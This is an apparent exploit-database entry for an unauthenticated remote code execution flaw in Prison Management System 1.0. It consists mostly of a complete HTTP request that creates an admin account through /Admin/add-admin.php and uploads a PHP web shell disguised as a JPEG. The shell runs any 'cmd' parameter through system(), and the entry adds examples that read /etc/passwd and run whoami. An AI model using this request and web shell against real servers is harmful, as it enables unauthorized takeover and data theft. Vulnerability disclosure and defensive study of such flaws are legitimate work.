Prison Management System 1.0 Shell Upload

# Exploit Title: Prison Management System 1.0 - Unuthenticated RCE# Date: 24.07.2024# Exploit Author: Muhammet Ali Dak# Vendor Homepage: https://www.sourcecodester.com/sql/17287/prison-management-system.html# Software Link: https://www.sourcecodester.com/download-code?nid=17287&title=Prison+Management+System+Using+PHP# Version: 1.0# Tested on: Linux## Unauthenticated users can access /Admin/add-admin.php address and they can upload malicious php file by changing Content-Type to image/jpeg instead of profile picture image without any authentication. POST /Admin/add-admin.php HTTP/1.1Host: 192.168.60.131User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------84806108511207628902669766678Content-Length: 1055Origin: http://192.168.60.131Connection: keep-aliveReferer: http://192.168.60.131/Admin/add-admin.phpUpgrade-Insecure-Requests: 1Priority: u=0, i-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="txtusername"yuznumara-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="txtfullname"yuznumara-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="txtpassword"yuznumara123-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="txtphone"55353535353-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="avatar"; filename="cmd.php"Content-Type: image/jpeg<?phpif(isset($_REQUEST['cmd'])){        echo "<pre>";        $cmd = ($_REQUEST['cmd']);        system($cmd);        echo "</pre>";        die;}?>Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="btncreate"-----------------------------84806108511207628902669766678--## Malicious file can be seen under the path /uploadImage/Profile/ without any authentication.## With the request http://192.168.60.131/uploadImage/Profile/cmd.php?cmd=whoami the attacker can execute arbitrary command on the application server.